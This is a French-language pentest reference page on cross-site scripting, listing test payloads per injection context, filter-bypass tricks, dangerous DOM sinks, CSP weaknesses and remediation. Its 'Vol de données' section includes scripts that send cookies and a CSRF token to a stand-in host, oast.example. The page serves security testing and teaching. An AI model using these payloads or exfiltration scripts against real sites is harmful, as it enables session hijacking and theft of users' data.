---
title: XSS
description: "Identifier le contexte d'injection, choisir le bon payload et contourner les filtres côté client."
category: web
kind: technique
tags: [xss, javascript, dom, csp, payloads]
level: intermediate
updated: 2026-11-06
order: 6
aliases: ["cross-site scripting", "script injection"]
---

## Identifier le contexte

| Contexte | Payload de test |
| --- | --- |
| HTML entre balises | `<script>alert(1)</script>` |
| Attribut entre guillemets | `" autofocus onfocus="alert(1)` |
| Attribut sans guillemets | `x onmouseover="alert(1)` |
| Chaîne JavaScript | `';alert(1)//` |
| URL (`href`) | `javascript:alert(1)` |
| Template côté client | `{{constructor.constructor('alert(1)')()}}` |

```html
<!-- Test minimal, sans dépendance -->
<script>alert(document.domain)</script>
<img src=x onerror=alert(document.domain)>
<svg/onload=alert(document.domain)>
"><img src=x onerror=alert(1)>
```

## Filtres et encodages

```html
<!-- Balises et event handlers alternatifs -->
<details open ontoggle=alert(1)>
<body onload=alert(1)>
<iframe srcdoc="<script>alert(1)</script>">
<a href="javascript:alert(1)">click</a>

<!-- Encodage HTML -->
&#60;img src=x onerror=alert(1)&#62;

<!-- Contournement de blacklist naïve -->
<scr<script>ipt>alert(1)</scr</script>ipt>
<img src=x onerror=alert(1)//
```

> [!TIP]
> Si `<script>` est filtré mais que l'injection est dans un attribut, les event handlers (`onerror`, `onload`, `onfocus`) sont souvent suffisants. Si les espaces et parenthèses sont filtrés, regarde du côté de `confirm` et des template literals : `alert\`1\``.

## DOM XSS

Sources contrôlables : `location.hash`, `location.search`, `document.referrer`, `window.name`, `postMessage`.

```javascript
// Sinks dangereux
element.innerHTML = userInput;
document.write(userInput);
eval(userInput);
setTimeout(userInput, 0);
location.href = userInput;
```

```javascript
// Test rapide d'un sink
location.hash = '<img src=x onerror=alert(1)>';
```

> [!WARNING]
> Les navigateurs modernes bloquent les payloads triviaux dans les contextes script. Ne conclus pas à l'absence de XSS : inspecte le DOM généré, les attributs, les handlers et les bibliothèques clientes (React `dangerouslySetInnerHTML`, jQuery `.html()`).

## Vol de données (PoC)

```html
<script>
fetch('https://oast.example/?c=' + encodeURIComponent(document.cookie));
</script>
```

```html
<!-- Extraction d'un token CSRF dans le DOM -->
<script>
fetch('/api/me').then(r => r.text()).then(t => {
  new Image().src = 'https://oast.example/?d=' + encodeURIComponent(t);
});
</script>
```

Sur une app moderne, préfère un PoC qui prouve l'exécution (alerte, requête vers un collaborator) sans exfiltrer de données réelles.

## CSP

```bash
# Vérifier la politique
curl -sI https://target.test | grep -i content-security-policy
```

- `unsafe-inline` autorise scripts et handlers inline.
- `nonce-...` : cherche un endpoint qui reflète le nonce ou une injection dans une balise autorisée.
- `strict-dynamic` ne protège pas si un script autorisé est déjà détournable.
- Les CDN autorisés (`cdn.jsdelivr.net`) peuvent héberger des bibliothèques avec gadgets.

> [!TIP]
> Utilise `document.domain`, `postMessage` et les redirections ouvertes pour transformer un XSS limité en exécution dans un autre sous-domaine. Vérifie aussi les cookies `HttpOnly` : sans eux, le vol de session est direct.

## Remédiation

- Encodage contextuel côté serveur (HTML, attribut, JS, URL).
- Assainissement HTML avec une allowlist stricte si le HTML utilisateur est nécessaire.
- CSP avec nonce, `object-src 'none'`, `base-uri 'none'`.
- Cookies `HttpOnly`, `Secure`, `SameSite=Lax`.
- Tests automatisés sur les contextes réels, pas seulement `<script>alert(1)`.
